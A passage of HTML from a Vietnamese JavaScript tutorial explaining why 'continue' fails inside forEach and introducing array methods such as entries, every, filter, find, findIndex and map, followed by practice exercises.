12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Từ khóa continue trong forEach</h3> <p>Từ khóa <code>continue</code> thường dùng để <strong>bỏ qua một lượt lặp</strong> trong vòng lặp.</p> <p>Ví dụ đoạn code sau dùng để bỏ qua lượt lặp khi <code>i</code> bằng <code>3</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">===</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token keyword">continue</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"i="</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Kết quả trên console: i= 0 i= 1 i= 2 i= 4 */</span></code></pre></div> <p>Nếu chuyển sang dùng với <code>forEach</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">item<span class="token punctuation">,</span> i</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">===</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token keyword">continue</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"i="</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* Kết quả trên console: Uncaught SyntaxError: Illegal continue statement: no surrounding iteration statement */</span></code></pre></div> <p>Bạn sẽ bị lỗi <strong>Illegal continue statement: no surrounding iteration statement</strong>. Vì từ khóa <code>continue</code> không hợp lệ với forEach JavaScript.</p> <p>Nghĩa là bạn cũng không thể dùng <code>continue</code> bên trong <code>forEach</code> được. Thay vào đó, bạn có thể dùng <strong>vòng lặp for</strong> như trên hoặc sử dụng từ khóa <code>return</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">item<span class="token punctuation">,</span> i</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">===</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"i="</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* Kết quả trên console: i= 0 i= 1 i= 2 i= 4 */</span></code></pre></div> <h2 id="từ-javascript-foreach-đến-các-phương-thức-khác" style="position:relative;"><a href="#t%E1%BB%AB-javascript-foreach-%C4%91%E1%BA%BFn-c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-kh%C3%A1c" aria-label="từ javascript foreach đến các phương thức khác permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Từ JavaScript forEach đến các phương thức khác</h2> <p>Ngoài forEach, JavaScript còn cung cấp một số phương thức khác, tương tự dành cho array. Đó là: <em>entries, every, filter, find, findIndex, keys, map, reduce, reduceRight, some, values.</em></p> <h3 id="hàm-arrentries" style="position:relative;"><a href="#h%C3%A0m-arrentries" aria-label="hàm arrentries permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/entries"><code>arr.entries()</code></a></h3> <p>Trả về một mảng đối tượng mới, chứa <strong>key/value</strong> cho mỗi phần tử trong array.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">a<span class="token punctuation">.</span><span class="token function">entries</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Để duyệt mảng đối tượng mới này, mình sử dụng vòng lặp <code>for...of</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> iterator <span class="token operator">=</span> a<span class="token punctuation">.</span><span class="token function">entries</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> e <span class="token keyword">of</span> iterator<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * [0, 'a'] * [1, 'b'] * [2, 'c'] */</span></code></pre></div> <h3 id="hàm-arrevery" style="position:relative;"><a href="#h%C3%A0m-arrevery" aria-label="hàm arrevery permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every"><code>arr.every()</code></a></h3> <p>Trả về <code>true</code> nếu như tất cả các phần tử trong mảng thoả mãn 1 hàm kiểm tra, ngược lại trả về <code>false</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">every</span><span class="token punctuation">(</span>callback<span class="token punctuation">[</span><span class="token punctuation">,</span> thisArg<span class="token punctuation">]</span><span class="token punctuation">)</span></code></pre></div> <p>Tham số truyền vào giống với hàm <code>forEach</code>.</p> <p>Ví dụ sau trả về <code>true</code> nếu tất cả các phần tử trong mảng thoả mãn đều lớn hơn hoặc bằng 10:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">isBigEnough</span><span class="token punctuation">(</span><span class="token parameter">element<span class="token punctuation">,</span> index<span class="token punctuation">,</span> array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> element <span class="token operator">>=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token number">130</span><span class="token punctuation">,</span> <span class="token number">44</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">every</span><span class="token punctuation">(</span>isBigEnough<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">54</span><span class="token punctuation">,</span> <span class="token number">18</span><span class="token punctuation">,</span> <span class="token number">130</span><span class="token punctuation">,</span> <span class="token number">44</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">every</span><span class="token punctuation">(</span>isBigEnough<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <h3 id="hàm-arrfilter" style="position:relative;"><a href="#h%C3%A0m-arrfilter" aria-label="hàm arrfilter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter"><code>arr.filter()</code></a></h3> <p>Giống như cái tên của nó, phương thức này dùng để <strong>lọc ra các phần tử trong mảng thoả mãn một điều kiện</strong> cho trước và trả về một mảng mới chứa những phần tử đó.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> newArray <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span>callback<span class="token punctuation">[</span><span class="token punctuation">,</span> thisArg<span class="token punctuation">]</span><span class="token punctuation">)</span></code></pre></div> <p>Tham số truyền vào giống với hàm <code>forEach</code>.</p> <p>Ví dụ sau lọc ra những phần tử trong mảng có giá trị lớn hơn hoặc bằng 10:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">isBigEnough</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> value <span class="token operator">>=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">const</span> filtered <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token number">130</span><span class="token punctuation">,</span> <span class="token number">44</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span>isBigEnough<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>filtered<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [12, 130, 44]</span></code></pre></div> <h3 id="hàm-arrfind" style="position:relative;"><a href="#h%C3%A0m-arrfind" aria-label="hàm arrfind permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find"><code>arr.find()</code></a></h3> <p>Trả về giá trị của <strong>phần tử đầu tiên</strong> trong mảng thoả mãn điều kiện cho trước, nếu không tìm thấy thì trả về <code>undefined</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> var1 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">find</span><span class="token punctuation">(</span>callback<span class="token punctuation">[</span><span class="token punctuation">,</span> thisArg<span class="token punctuation">]</span><span class="token punctuation">)</span></code></pre></div> <p>Tham số truyền vào cũng giống như hàm <code>forEach</code>.</p> <p>Ví dụ sau tìm ra một <a href="/object-la-gi-object-trong-javascript/">object</a> với <code>name</code> thoả mãn điều kiện cho trước:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> inventory <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"apples"</span><span class="token punctuation">,</span> <span class="token literal-property property">from</span><span class="token operator">:</span> <span class="token string">"usa"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"bananas"</span><span class="token punctuation">,</span> <span class="token literal-property property">from</span><span class="token operator">:</span> <span class="token string">"vietnam"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"cherries"</span><span class="token punctuation">,</span> <span class="token literal-property property">from</span><span class="token operator">:</span> <span class="token string">"usa"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"cherries"</span><span class="token punctuation">,</span> <span class="token literal-property property">from</span><span class="token operator">:</span> <span class="token string">"china"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">findCherries</span><span class="token punctuation">(</span><span class="token parameter">fruit</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> fruit<span class="token punctuation">.</span>name <span class="token operator">===</span> <span class="token string">"cherries"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>inventory<span class="token punctuation">.</span><span class="token function">find</span><span class="token punctuation">(</span>findCherries<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {name: 'cherries', from: 'usa'}</span></code></pre></div> <h3 id="hàm-arrfindindex" style="position:relative;"><a href="#h%C3%A0m-arrfindindex" aria-label="hàm arrfindindex permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex"><code>arr.findIndex()</code></a></h3> <p>Trả về <strong>chỉ số đầu tiên</strong> của phần tử thoả mãn điều kiện cho trước, ngược lại trả về <code>-1</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> id <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">findIndex</span><span class="token punctuation">(</span>callback<span class="token punctuation">[</span><span class="token punctuation">,</span> thisArg<span class="token punctuation">]</span><span class="token punctuation">)</span></code></pre></div> <p>Tham số truyền vào cũng giống như hàm <code>forEach</code>.</p> <p>Ví dụ sau tìm ra chỉ số object với <code>name</code> thoả mãn điều kiện cho trước:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> inventory <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"apples"</span><span class="token punctuation">,</span> <span class="token literal-property property">from</span><span class="token operator">:</span> <span class="token string">"usa"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"bananas"</span><span class="token punctuation">,</span> <span class="token literal-property property">from</span><span class="token operator">:</span> <span class="token string">"vietnam"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"cherries"</span><span class="token punctuation">,</span> <span class="token literal-property property">from</span><span class="token operator">:</span> <span class="token string">"usa"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"cherries"</span><span class="token punctuation">,</span> <span class="token literal-property property">from</span><span class="token operator">:</span> <span class="token string">"china"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">findCherries</span><span class="token punctuation">(</span><span class="token parameter">fruit</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> fruit<span class="token punctuation">.</span>name <span class="token operator">===</span> <span class="token string">"cherries"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>inventory<span class="token punctuation">.</span><span class="token function">findIndex</span><span class="token punctuation">(</span>findCherries<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <h3 id="hàm-arrmap" style="position:relative;"><a href="#h%C3%A0m-arrmap" aria-label="hàm arrmap permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map"><code>arr.map()</code></a></h3> <p>Trả về mảng mới với mỗi phần tử là kết quả của việc gọi hàm callback với mỗi phần tử của mảng ban đầu.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> new_array <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span>callback<span class="token punctuation">[</span><span class="token punctuation">,</span> thisArg<span class="token punctuation">]</span><span class="token punctuation">)</span></code></pre></div> <p>Tham số truyền vào cũng giống như hàm <code>forEach</code> JavaScript.</p> <p>Ví dụ sau trả về mảng mới, mà mỗi phần tử của mảng mới là <strong>căn bậc hai</strong> của phần tử tương ứng trong mảng ban đầu:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> numbers <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> roots <span class="token operator">=</span> numbers<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span>sqrt<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>roots<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [1, 2, 3]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>numbers<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [1, 4, 9]</span></code></pre></div> <p>Những phương thức còn lại bạn có thể tham khảo thêm tại bài viết: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Các phương thức của mảng trong JavaScript</a>.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="1-flattening" style="position:relative;"><a href="#1-flattening" aria-label="1 flattening permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>1. Flattening</h3> <p>Cho một mảng hai chiều, hãy chuyển mảng đó thành mảng một chiều, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arrays <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">/* * Code xử lý * * Đáp án: [1, 2, 3, 4, 5, 6] */</span></code></pre></div> <p>► Sử dụng phương thức <code>arr.reduce()</code> và <code>arr.concat()</code>.</p> <p><a href="https://github.com/completejavascript/practical-javascript/blob/master/iteration/iteration-flattening-completejavascript.com.js">Xem đáp án</a></p> <p>► Sử dụng <a href="/vong-lap-trong-javascript/">vòng lặp for, while</a> thông thường.</p> <p><a href="https://github.com/completejavascript/practical-javascript/blob/master/iteration/loop-flattening-completejavascript.com.js">Xem đáp án</a></p> <h3 id="2-every-and-some" style="position:relative;"><a href="#2-every-and-some" aria-label="2 every and some permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>2. Every and some</h3> <p>Hãy viết hàm <code>every()</code> và <code>some()</code> thoả mãn:</p> <ul> <li><code>every(arr, func)</code>: trả về <code>true</code> khi <strong>tất cả</strong> các phần tử của mảng <code>arr</code> làm hàm <code>func</code> trả về <code>true</code>, ngược lại thì trả về <code>false</code>.</li> <li><code>some(arr, func)</code>: trả về <code>true</code> khi <strong>ít nhất một</strong> phần tử của mảng <code>arr</code> làm hàm <code>func</code> trả về <code>true</code>, ngược lại thì trả về <code>false</code>.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">every</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">NaN</span><span class="token punctuation">,</span> <span class="token number">NaN</span><span class="token punctuation">,</span> <span class="token number">NaN</span><span class="token punctuation">]</span><span class="token punctuation">,</span> isNaN<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">every</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">NaN</span><span class="token punctuation">,</span> <span class="token number">NaN</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">,</span> isNaN<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">some</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">NaN</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">,</span> isNaN<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">some</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">,</span> isNaN<span 